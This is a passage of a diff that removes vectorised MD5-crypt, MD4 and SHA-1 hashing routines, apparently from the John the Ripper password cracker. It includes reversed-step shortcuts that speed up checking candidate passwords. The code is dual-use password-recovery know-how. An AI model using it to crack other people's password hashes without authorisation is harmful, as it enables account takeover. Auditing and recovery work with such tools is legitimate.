-				vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]);
-			}
-		} else {
-			MD5_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]);
-			}
-		}
-	}
-	else
-	{
-		MD5_PARA_DO(i)
-		{
-			vstore((vtype*)&out[i*4*VS32+0*VS32], a[i]);
-			vstore((vtype*)&out[i*4*VS32+1*VS32], b[i]);
-			vstore((vtype*)&out[i*4*VS32+2*VS32], c[i]);
-			vstore((vtype*)&out[i*4*VS32+3*VS32], d[i]);
-		}
-	}
-}
-
-#define GETPOS(i, index)    ( (index&(VS32-1))*4 + (i& (0xffffffff-3) )*VS32 + ((i)&3) )
-
-static MAYBE_INLINE void mmxput(void *buf, unsigned int index, unsigned int bid,
-                                unsigned int offset, unsigned char *src,
-                                unsigned int len)
-{
-	unsigned char *nbuf;
-	unsigned int i;
-
-	nbuf = ((unsigned char*)buf) + index/VS32*64*VS32 + bid*64*MD5_SSE_NUM_KEYS;
-	for(i=0;i<len;i++)
-		nbuf[ GETPOS((offset+i), index) ] = src[i];
-
-}
-
-static MAYBE_INLINE void mmxput2(void *buf, unsigned int bid, void *src)
-{
-	unsigned char *nbuf;
-	unsigned int i;
-
-	nbuf = ((unsigned char*)buf) + bid*64*MD5_SSE_NUM_KEYS;
-	MD5_PARA_DO(i)
-		memcpy( nbuf+i*64*VS32, ((unsigned char*)src)+i*16*VS32, 16*VS32);
-}
-
-#if (ARCH_SIZE >= 8) || defined(__i386__) || defined(__ARM_NEON__)
-#define BITALIGN(hi, lo, s) ((((uint64_t)(hi) << 32) | (lo)) >> (s))
-#else
-#define BITALIGN(hi, lo, s) (((hi) << (32 - (s))) | ((lo) >> (s)))
-#endif
-
-static MAYBE_INLINE void mmxput3(void *buf, unsigned int bid,
-                                 unsigned int *offset, unsigned int mult,
-                                 unsigned int saltlen, void *src)
-{
-	unsigned int j;
-
-	MD5_PARA_DO(j) {
-		unsigned int i;
-		unsigned int jm = j * VS32 * 4;
-		unsigned char *nbuf = ((unsigned char *)buf) + bid * (64 * MD5_SSE_NUM_KEYS) + jm * 16;
-		unsigned int *s = (unsigned int *)src + jm;
-		for (i = 0; i < VS32; i++, s++) {
-			unsigned int n = offset[i + jm / 4] * mult + saltlen;
-			unsigned int *d = (unsigned int *)(nbuf + (n & ~3U) * VS32) + i;
-
-			switch (n &= 3) {
-			case 0:
-				d[0] = s[0];
-				d[1 * VS32] = s[1 * VS32];
-				d[2 * VS32] = s[2 * VS32];
-				d[3 * VS32] = s[3 * VS32];
-				break;
-#if 0
-			default:
-				n <<= 3;
-				{
-					unsigned int m = 32 - n;
-					d[0] = (d[0] & (0xffffffffU >> m)) | (s[0] << n);
-					d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], m);
-					d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], m);
-					d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], m);
-					d[4 * VS32] = (d[4 * VS32] & (0xffffffffU << n)) | (s[3 * VS32] >> m);
-				}
-#else
-			case 1:
-				d[0] = (d[0] & 0xffU) | (s[0] << 8);
-				d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 24);
-				d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 24);
-				d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 24);
-				d[4 * VS32] = (d[4 * VS32] & 0xffffff00U) | (s[3 * VS32] >> 24);
-				break;
-			case 2:
-				d[0] = (d[0] & 0xffffU) | (s[0] << 16);
-				d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 16);
-				d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 16);
-				d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 16);
-				d[4 * VS32] = (d[4 * VS32] & 0xffff0000U) | (s[3 * VS32] >> 16);
-				break;
-			case 3:
-				d[0] = (d[0] & 0xffffffU) | (s[0] << 24);
-				d[1 * VS32] = BITALIGN(s[1 * VS32], s[0], 8);
-				d[2 * VS32] = BITALIGN(s[2 * VS32], s[1 * VS32], 8);
-				d[3 * VS32] = BITALIGN(s[3 * VS32], s[2 * VS32], 8);
-				d[4 * VS32] = (d[4 * VS32] & 0xff000000U) | (s[3 * VS32] >> 8);
-#endif
-			}
-		}
-	}
-}
-
-static MAYBE_INLINE void dispatch(unsigned char buffers[8][64*MD5_SSE_NUM_KEYS],
-                                  unsigned int f[4*MD5_SSE_NUM_KEYS],
-                                  unsigned int length[MD5_SSE_NUM_KEYS],
-                                  unsigned int saltlen)
-{
-	unsigned int i, j;
-	unsigned int bufferid;
-
-	i = 1000 / 42; j = 0;
-	do {
-		switch(j)
-		{
-			case 0:
-				bufferid = 0;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 21:
-				bufferid = 1;
-				mmxput3(buffers, bufferid, length, 1, 0, f);
-				break;
-			case 3:
-			case 9:
-			case 15:
-			case 27:
-			case 33:
-			case 39:
-				bufferid = 2;
-				mmxput3(buffers, bufferid, length, 2, 0, f);
-				break;
-			case 6:
-			case 12:
-			case 18:
-			case 24:
-			case 30:
-			case 36:
-				bufferid = 3;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 7:
-			case 35:
-				bufferid = 4;
-				mmxput3(buffers, bufferid, length, 1, saltlen, f);
-				break;
-			case 14:
-			case 28:
-				bufferid = 5;
-				mmxput2(buffers, bufferid, f);
-				break;
-			case 2:
-			case 4:
-			case 8:
-			case 10:
-			case 16:
-			case 20:
-			case 22:
-			case 26:
-			case 32:
-			case 34:
-			case 38:
-			case 40:
-				bufferid = 6;
-				mmxput2(buffers, bufferid, f);
-				break;
-			default:
-				bufferid = 7;
-				mmxput3(buffers, bufferid, length, 2, saltlen, f);
-				break;
-		}
-		SIMDmd5body((vtype*)&buffers[bufferid], f, NULL, SSEi_MIXED_IN);
-		if (j++ < 1000 % 42 - 1)
-			continue;
-		if (j == 1000 % 42) {
-			if (!i)
-				break;
-			i--;
-			continue;
-		}
-		if (j >= 42)
-			j = 0;
-	} while (1);
-}
-
-
-void md5cryptsse(unsigned char pwd[MD5_SSE_NUM_KEYS][16], unsigned char *salt,
-                 char *out, unsigned int md5_type)
-{
-	unsigned int length[MD5_SSE_NUM_KEYS];
-	unsigned int saltlen;
-	unsigned int i,j;
-	MD5_CTX ctx;
-	MD5_CTX tctx;
-	JTR_ALIGN(MEM_ALIGN_SIMD)
-		unsigned char buffers[8][64*MD5_SSE_NUM_KEYS] = { { 0 } };
-	JTR_ALIGN(MEM_ALIGN_SIMD) unsigned int F[4*MD5_SSE_NUM_KEYS];
-
-	saltlen = strlen((char*)salt);
-	for(i=0;i<MD5_SSE_NUM_KEYS;i++)
-	{
-		unsigned int length_i = strlen((char*)pwd[i]);
-		unsigned int *bt;
-		unsigned int tf[4];
-
-		/* cas 0 fs */
-		mmxput(buffers, i, 0, 16, pwd[i], length_i);
-		mmxput(buffers, i, 0, length_i+16, (unsigned char*)"\x80", 1);
-		/* cas 1 sf */
-		mmxput(buffers, i, 1, 0, pwd[i], length_i);
-		mmxput(buffers, i, 1, length_i+16, (unsigned char*)"\x80", 1);
-		/* cas 2 ssf */
-		mmxput(buffers, i, 2, 0, pwd[i], length_i);
-		mmxput(buffers, i, 2, length_i, pwd[i], length_i);
-		mmxput(buffers, i, 2, length_i*2+16, (unsigned char*)"\x80", 1);
-		/* cas 3 fss */
-		mmxput(buffers, i, 3, 16, pwd[i], length_i);
-		mmxput(buffers, i, 3, 16+length_i, pwd[i], length_i);
-		mmxput(buffers, i, 3, length_i*2+16, (unsigned char*)"\x80", 1);
-		/* cas 4 scf */
-		mmxput(buffers, i, 4, 0, pwd[i], length_i);
-		mmxput(buffers, i, 4, length_i, salt, saltlen);
-		mmxput(buffers, i, 4, saltlen+length_i+16, (unsigned char*)"\x80", 1);
-		/* cas 5 fcs */
-		mmxput(buffers, i, 5, 16, salt, saltlen);
-		mmxput(buffers, i, 5, 16+saltlen, pwd[i], length_i);
-		mmxput(buffers, i, 5, saltlen+length_i+16, (unsigned char*)"\x80", 1);
-		/* cas 6 fcss */
-		mmxput(buffers, i, 6, 16, salt, saltlen);
-		mmxput(buffers, i, 6, 16+saltlen, pwd[i], length_i);
-		mmxput(buffers, i, 6, 16+saltlen+length_i, pwd[i], length_i);
-		mmxput(buffers, i, 6, saltlen+2*length_i+16, (unsigned char*)"\x80", 1);
-		/* cas 7 scsf */
-		mmxput(buffers, i, 7, 0, pwd[i], length_i);
-		mmxput(buffers, i, 7, length_i, salt, saltlen);
-		mmxput(buffers, i, 7, length_i+saltlen, pwd[i], length_i);
-		mmxput(buffers, i, 7, saltlen+2*length_i+16, (unsigned char*)"\x80", 1);
-
-		bt = (unsigned int*)&buffers[0];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i+16)<<3;
-		bt = (unsigned int*)&buffers[1];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i+16)<<3;
-		bt = (unsigned int*)&buffers[2];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i*2+16)<<3;
-		bt = (unsigned int*)&buffers[3];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i*2+16)<<3;
-		bt = (unsigned int*)&buffers[4];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i+saltlen+16)<<3;
-		bt = (unsigned int*)&buffers[5];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i+saltlen+16)<<3;
-		bt = (unsigned int*)&buffers[6];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i*2+saltlen+16)<<3;
-		bt = (unsigned int*)&buffers[7];
-		bt[14*VS32 + (i&(VS32-1)) + i/VS32*16*VS32] = (length_i*2+saltlen+16)<<3;
-
-		MD5_Init(&ctx);
-		MD5_Update(&ctx, pwd[i], length_i);
-		if (md5_type == MD5_TYPE_STD)
-			MD5_Update(&ctx, "$1$", 3);
-		else if (md5_type == MD5_TYPE_APACHE)
-			MD5_Update(&ctx, "$apr1$", 6);
-		// else it's AIX and no prefix included
-		MD5_Update(&ctx, salt, saltlen);
-		MD5_Init(&tctx);
-		MD5_Update(&tctx, pwd[i], length_i);
-		MD5_Update(&tctx, salt, saltlen);
-		MD5_Update(&tctx, pwd[i], length_i);
-		MD5_Final((unsigned char*)tf, &tctx);
-		MD5_Update(&ctx, tf, length_i);
-		length[i] = length_i;
-		for(j=length_i;j;j>>=1)
-			if(j&1)
-				MD5_Update(&ctx, "\0", 1);
-			else
-				MD5_Update(&ctx, pwd[i], 1);
-		MD5_Final((unsigned char*)tf, &ctx);
-		F[i/VS32*4*VS32 + (i&(VS32-1)) + 0*VS32] = tf[0];
-		F[i/VS32*4*VS32 + (i&(VS32-1)) + 1*VS32] = tf[1];
-		F[i/VS32*4*VS32 + (i&(VS32-1)) + 2*VS32] = tf[2];
-		F[i/VS32*4*VS32 + (i&(VS32-1)) + 3*VS32] = tf[3];
-	}
-	dispatch(buffers, F, length, saltlen);
-	memcpy(out, F, MD5_SSE_NUM_KEYS*16);
-}
-#endif /* SIMD_PARA_MD5 */
-
-
-#if SIMD_PARA_MD4
-#define MD4_SSE_NUM_KEYS	(SIMD_COEF_32*SIMD_PARA_MD4)
-#define MD4_PARA_DO(x)	for((x)=0;(x)<SIMD_PARA_MD4;(x)++)
-
-#define MD4_F(x,y,z)                            \
-    tmp[i] = vcmov((y[i]),(z[i]),(x[i]));
-
-#if __AVX512F__
-#define MD4_G(x,y,z)                            \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
-#elif !VCMOV_EMULATED
-#define MD4_G(x,y,z)                            \
-    tmp[i] = vxor((y[i]), (z[i]));              \
-    tmp[i] = vcmov((x[i]), (z[i]), (tmp[i]));
-#else
-#define MD4_G(x,y,z)                            \
-    tmp[i] = vor((y[i]),(z[i]));                \
-    tmp2[i] = vand((y[i]),(z[i]));              \
-    tmp[i] = vand((tmp[i]),(x[i]));             \
-    tmp[i] = vor((tmp[i]), (tmp2[i]) );
-#endif
-
-#if __AVX512F__
-#define MD4_H(x,y,z)                            \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-
-#define MD4_H2(x,y,z)                           \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-#elif SIMD_PARA_MD4 < 3
-#define MD4_H(x,y,z)                            \
-    tmp2[i] = vxor((x[i]),(y[i]));              \
-    tmp[i] = vxor(tmp2[i], (z[i]));
-
-#define MD4_H2(x,y,z)                           \
-    tmp[i] = vxor((x[i]), tmp2[i]);
-#else
-#define MD4_H(x,y,z)                            \
-    tmp[i] = vxor((x[i]),(y[i]));               \
-    tmp[i] = vxor((tmp[i]),(z[i]));
-
-#define MD4_H2(x,y,z)                           \
-    tmp[i] = vxor((y[i]),(z[i]));               \
-    tmp[i] = vxor((tmp[i]),(x[i]));
-#endif
-
-#define MD4_STEP(f, a, b, c, d, x, t, s)            \
-    MD4_PARA_DO(i) {                                \
-        a[i] = vadd_epi32( a[i], t );               \
-        f((b),(c),(d))                              \
-        a[i] = vadd_epi32( a[i], tmp[i] );          \
-        a[i] = vadd_epi32( a[i], data[i*16+x] );    \
-        a[i] = vroti_epi32( a[i], (s) );            \
-    }
-
-#define MD4_REV_STEP(f, a, b, c, d, x, t, s)        \
-    MD4_PARA_DO(i) {                                \
-        f((b),(c),(d))                              \
-        a[i] = vadd_epi32( a[i], tmp[i] );          \
-        a[i] = vadd_epi32( a[i], data[i*16+x] );    \
-    }
-
-#define INIT_A 0x67452301
-#define INIT_B 0xefcdab89
-#define INIT_C 0x98badcfe
-#define INIT_D 0x10325476
-#define SQRT_3 0x6ed9eba1
-
-void md4_reverse(uint32_t *hash)
-{
-	hash[0] -= INIT_A;
-	hash[1] -= INIT_B;
-	hash[2] -= INIT_C;
-	hash[3] -= INIT_D;
-	hash[1]  = (hash[1] >> 15) | (hash[1] << 17);
-	hash[1] -= SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
-	hash[1]  = (hash[1] >> 15) | (hash[1] << 17);
-	hash[1] -= SQRT_3;
-}
-
-void md4_unreverse(uint32_t *hash)
-{
-	hash[1] += SQRT_3;
-	hash[1]  = (hash[1] >> 17) | (hash[1] << 15);
-	hash[1] += SQRT_3 + (hash[2] ^ hash[3] ^ hash[0]);
-	hash[1]  = (hash[1] >> 17) | (hash[1] << 15);
-	hash[3] += INIT_D;
-	hash[2] += INIT_C;
-	hash[1] += INIT_B;
-	hash[0] += INIT_A;
-}
-
-#undef SQRT_3
-#undef INIT_D
-#undef INIT_C
-#undef INIT_B
-#undef INIT_A
-
-void SIMDmd4body(vtype* _data, unsigned int *out, ARCH_WORD_32 *reload_state,
-                unsigned SSEi_flags)
-{
-	vtype w[16*SIMD_PARA_MD4];
-	vtype a[SIMD_PARA_MD4];
-	vtype b[SIMD_PARA_MD4];
-	vtype c[SIMD_PARA_MD4];
-	vtype d[SIMD_PARA_MD4];
-	vtype tmp[SIMD_PARA_MD4];
-#if (SIMD_PARA_MD4 < 3 || VCMOV_EMULATED) && !__AVX512F__
-	vtype tmp2[SIMD_PARA_MD4];
-#endif
-	vtype cst;
-	unsigned int i;
-	vtype *data;
-
-	if(SSEi_flags & SSEi_FLAT_IN) {
-		// Move _data to __data, mixing it SIMD_COEF_32 wise.
-#if __SSE4_1__ || __MIC__
-		unsigned k;
-		vtype *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data;
-		MD4_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_4x(W[i], saved_key, i); }
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (i=0; i < 16; ++i) { GATHER_2x(W[i], saved_key, i); }
-				saved_key += (VS32<<5);
-			} else {
-				for (i=0; i < 16; ++i) { GATHER(W[i], saved_key, i); }
-				saved_key += (VS32<<4);
-			}
-			W += 16;
-		}
-#else
-		unsigned j, k;
-		ARCH_WORD_32 *p = (ARCH_WORD_32*)w;
-		vtype *W = w;
-		ARCH_WORD_32 *saved_key = (ARCH_WORD_32*)_data;
-		MD4_PARA_DO(k)
-		{
-			if (SSEi_flags & SSEi_4BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<6)+j];
-				saved_key += (VS32<<6);
-			} else if (SSEi_flags & SSEi_2BUF_INPUT) {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<5)+j];
-				saved_key += (VS32<<5);
-			} else {
-				for (j=0; j < 16; j++)
-					for (i=0; i < VS32; i++)
-						*p++ = saved_key[(i<<4)+j];
-				saved_key += (VS32<<4);
-			}
-			W += 16;
-		}
-#endif
-		// now set our data pointer to point to this 'mixed' data.
-		data = w;
-	} else
-		data = _data;
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD4_PARA_DO(i)
-		{
-			a[i] = vset1_epi32(0x67452301);
-			b[i] = vset1_epi32(0xefcdab89);
-			c[i] = vset1_epi32(0x98badcfe);
-			d[i] = vset1_epi32(0x10325476);
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*16*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*16*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*16*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*16*VS32+3*VS32]);
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vload((vtype*)&reload_state[i*4*VS32+0*VS32]);
-				b[i] = vload((vtype*)&reload_state[i*4*VS32+1*VS32]);
-				c[i] = vload((vtype*)&reload_state[i*4*VS32+2*VS32]);
-				d[i] = vload((vtype*)&reload_state[i*4*VS32+3*VS32]);
-			}
-		}
-	}
-
-
-/* Round 1 */
-	cst = vsetzero();
-	MD4_STEP(MD4_F, a, b, c, d, 0, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 1, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 2, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 3, cst, 19)
-	MD4_STEP(MD4_F, a, b, c, d, 4, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 5, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 6, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 7, cst, 19)
-	MD4_STEP(MD4_F, a, b, c, d, 8, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 9, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 10, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 11, cst, 19)
-	MD4_STEP(MD4_F, a, b, c, d, 12, cst, 3)
-	MD4_STEP(MD4_F, d, a, b, c, 13, cst, 7)
-	MD4_STEP(MD4_F, c, d, a, b, 14, cst, 11)
-	MD4_STEP(MD4_F, b, c, d, a, 15, cst, 19)
-
-/* Round 2 */
-	cst = vset1_epi32(0x5A827999L);
-	MD4_STEP(MD4_G, a, b, c, d, 0, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 4, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 8, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 12, cst, 13)
-	MD4_STEP(MD4_G, a, b, c, d, 1, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 5, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 9, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 13, cst, 13)
-	MD4_STEP(MD4_G, a, b, c, d, 2, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 6, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 10, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 14, cst, 13)
-	MD4_STEP(MD4_G, a, b, c, d, 3, cst, 3)
-	MD4_STEP(MD4_G, d, a, b, c, 7, cst, 5)
-	MD4_STEP(MD4_G, c, d, a, b, 11, cst, 9)
-	MD4_STEP(MD4_G, b, c, d, a, 15, cst, 13)
-
-/* Round 3 */
-	cst = vset1_epi32(0x6ED9EBA1L);
-	MD4_STEP(MD4_H, a, b, c, d, 0, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 8, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 4, cst, 11)
-	MD4_STEP(MD4_H2, b, c, d, a, 12, cst, 15)
-	MD4_STEP(MD4_H, a, b, c, d, 2, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 10, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 6, cst, 11)
-	MD4_STEP(MD4_H2, b, c, d, a, 14, cst, 15)
-	MD4_STEP(MD4_H, a, b, c, d, 1, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 9, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 5, cst, 11)
-
-	if (SSEi_flags & SSEi_REVERSE_STEPS)
-	{
-		MD4_REV_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
-		MD4_PARA_DO(i)
-		{
-			vstore((vtype*)&out[i*4*VS32+1*VS32], b[i]);
-		}
-		return;
-	}
-
-	MD4_STEP(MD4_H2, b, c, d, a, 13, cst, 15)
-	MD4_STEP(MD4_H, a, b, c, d, 3, cst, 3)
-	MD4_STEP(MD4_H2, d, a, b, c, 11, cst, 9)
-	MD4_STEP(MD4_H, c, d, a, b, 7, cst, 11)
-	MD4_STEP(MD4_H2, b, c, d, a, 15, cst, 15)
-
-	if((SSEi_flags & SSEi_RELOAD)==0)
-	{
-		MD4_PARA_DO(i)
-		{
-			a[i] = vadd_epi32(a[i], vset1_epi32(0x67452301));
-			b[i] = vadd_epi32(b[i], vset1_epi32(0xefcdab89));
-			c[i] = vadd_epi32(c[i], vset1_epi32(0x98badcfe));
-			d[i] = vadd_epi32(d[i], vset1_epi32(0x10325476));
-		}
-	}
-	else
-	{
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*16*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*16*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*16*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*16*VS32+3*VS32]));
-			}
-		}
-		else
-		{
-			MD4_PARA_DO(i)
-			{
-				a[i] = vadd_epi32(a[i], vload((vtype*)&reload_state[i*4*VS32+0*VS32]));
-				b[i] = vadd_epi32(b[i], vload((vtype*)&reload_state[i*4*VS32+1*VS32]));
-				c[i] = vadd_epi32(c[i], vload((vtype*)&reload_state[i*4*VS32+2*VS32]));
-				d[i] = vadd_epi32(d[i], vload((vtype*)&reload_state[i*4*VS32+3*VS32]));
-			}
-		}
-	}
-
-#if USE_EXPERIMENTAL
-/*
- * This is currently not used for MD4, and was observed to result
- * in a significant performance regression (at least on XOP) just by sitting
- * here. http://www.openwall.com/lists/john-dev/2015/09/05/5
- * NOTE the regression might be gone now anyway since we went from -O3 to -O2.
- */
-	if (SSEi_flags & SSEi_FLAT_OUT) {
-		MD4_PARA_DO(i)
-		{
-			uint32_t *o = (uint32_t*)&out[i*4*VS32];
-#if __AVX512F__ || __MIC__
-			vtype idxs = vset_epi32(15*4,14*4,13*4,12*4,
-			                        11*4,10*4, 9*4, 8*4,
-			                         7*4, 6*4, 5*4, 4*4,
-			                         3*4, 2*4, 1*4, 0*4);
-
-			vscatter_epi32(o + 0, idxs, a[i], 4);
-			vscatter_epi32(o + 1, idxs, b[i], 4);
-			vscatter_epi32(o + 2, idxs, c[i], 4);
-			vscatter_epi32(o + 3, idxs, d[i], 4);
-#else
-			uint32_t j, k;
-			union {
-				vtype v[4];
-				uint32_t s[4 * VS32];
-			} tmp;
-
-			tmp.v[0] = a[i];
-			tmp.v[1] = b[i];
-			tmp.v[2] = c[i];
-			tmp.v[3] = d[i];
-
-			for (j = 0; j < VS32; j++)
-				for (k = 0; k < 4; k++)
-					o[j*4+k] = tmp.s[k*VS32+j];
-#endif
-		}
-	}
-	else
-#endif
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		if ((SSEi_flags & SSEi_OUTPUT_AS_2BUF_INP_FMT) == SSEi_OUTPUT_AS_2BUF_INP_FMT) {
-			MD4_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*32*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*32*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*32*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*32*VS32+3*VS32], d[i]);
-			}
-		} else {
-			MD4_PARA_DO(i)
-			{
-				vstore((vtype*)&out[i*16*VS32+0*VS32], a[i]);
-				vstore((vtype*)&out[i*16*VS32+1*VS32], b[i]);
-				vstore((vtype*)&out[i*16*VS32+2*VS32], c[i]);
-				vstore((vtype*)&out[i*16*VS32+3*VS32], d[i]);
-			}
-		}
-	}
-	else
-	{
-		MD4_PARA_DO(i)
-		{
-			vstore((vtype*)&out[i*4*VS32+0*VS32], a[i]);
-			vstore((vtype*)&out[i*4*VS32+1*VS32], b[i]);
-			vstore((vtype*)&out[i*4*VS32+2*VS32], c[i]);
-			vstore((vtype*)&out[i*4*VS32+3*VS32], d[i]);
-		}
-	}
-}
-
-#endif /* SIMD_PARA_MD4 */
-
-
-#if SIMD_PARA_SHA1
-#define SHA1_SSE_NUM_KEYS	(SIMD_COEF_32*SIMD_PARA_SHA1)
-#define SHA1_PARA_DO(x)		for((x)=0;(x)<SIMD_PARA_SHA1;(x)++)
-
-#define SHA1_F(x,y,z)                           \
-    tmp[i] = vcmov((y[i]),(z[i]),(x[i]));
-
-#if __AVX512F__
-#define SHA1_G(x,y,z)                           \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0x96);
-#else
-#define SHA1_G(x,y,z)                           \
-    tmp[i] = vxor((y[i]),(z[i]));               \
-    tmp[i] = vxor((tmp[i]),(x[i]));
-#endif
-
-#if __AVX512F__
-#define SHA1_H(x,y,z)                           \
-    tmp[i] = vternarylogic(x[i], y[i], z[i], 0xE8);
-#elif !VCMOV_EMULATED
-#define SHA1_H(x,y,z)                           \
-    tmp[i] = vxor((z[i]), (y[i]));              \
-    tmp[i] = vcmov((x[i]), (y[i]), tmp[i]);
-#else
-#define SHA1_H(x,y,z)                                       \
-    tmp[i] = vand((x[i]),(y[i]));                           \
-    tmp[i] = vor((tmp[i]),vand(vor((x[i]),(y[i])),(z[i])));
-#endif
-
-#define SHA1_I(x,y,z) SHA1_G(x,y,z)
-
-#define SHA1_EXPAND2a(t)                                \
-    tmp[i] = vxor( data[i*16+t-3], data[i*16+t-8] );    \
-    tmp[i] = vxor( tmp[i], data[i*16+t-14] );           \
-    tmp[i] = vxor( tmp[i], data[i*16+t-16] );           \
-    w[i*16+((t)&0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2b(t)                                    \
-    tmp[i] = vxor( w[i*16+((t-3)&0xF)], data[i*16+t-8] );   \
-    tmp[i] = vxor( tmp[i], data[i*16+t-14] );               \
-    tmp[i] = vxor( tmp[i], data[i*16+t-16] );               \
-    w[i*16+((t)&0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2c(t)                                        \
-    tmp[i] = vxor( w[i*16+((t-3)&0xF)], w[i*16+((t-8)&0xF)] );  \
-    tmp[i] = vxor( tmp[i], data[i*16+t-14] );                   \
-    tmp[i] = vxor( tmp[i], data[i*16+t-16] );                   \
-    w[i*16+((t)&0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2d(t)                                        \
-    tmp[i] = vxor( w[i*16+((t-3)&0xF)], w[i*16+((t-8)&0xF)] );  \
-    tmp[i] = vxor( tmp[i], w[i*16+((t-14)&0xF)] );              \
-    tmp[i] = vxor( tmp[i], data[i*16+t-16] );                   \
-    w[i*16+((t)&0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_EXPAND2(t)                                         \
-    tmp[i] = vxor( w[i*16+((t-3)&0xF)], w[i*16+((t-8)&0xF)] );  \
-    tmp[i] = vxor( tmp[i], w[i*16+((t-14)&0xF)] );              \
-    tmp[i] = vxor( tmp[i], w[i*16+((t-16)&0xF)] );              \
-    w[i*16+((t)&0xF)] = vroti_epi32(tmp[i], 1);
-
-#define SHA1_ROUND2a(a,b,c,d,e,F,t)                 \
-    SHA1_PARA_DO(i) {                               \
-        F(b,c,d)                                    \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        tmp[i] = vroti_epi32(a[i], 5);              \
-        e[i] = vadd_epi32( e[i], tmp[i] );          \
-        e[i] = vadd_epi32( e[i], cst );             \
-        e[i] = vadd_epi32( e[i], data[i*16+t] );    \
-        b[i] = vroti_epi32(b[i], 30);               \
-        SHA1_EXPAND2a(t+16)                         \
-    }
-
-#define SHA1_ROUND2b(a,b,c,d,e,F,t)                 \
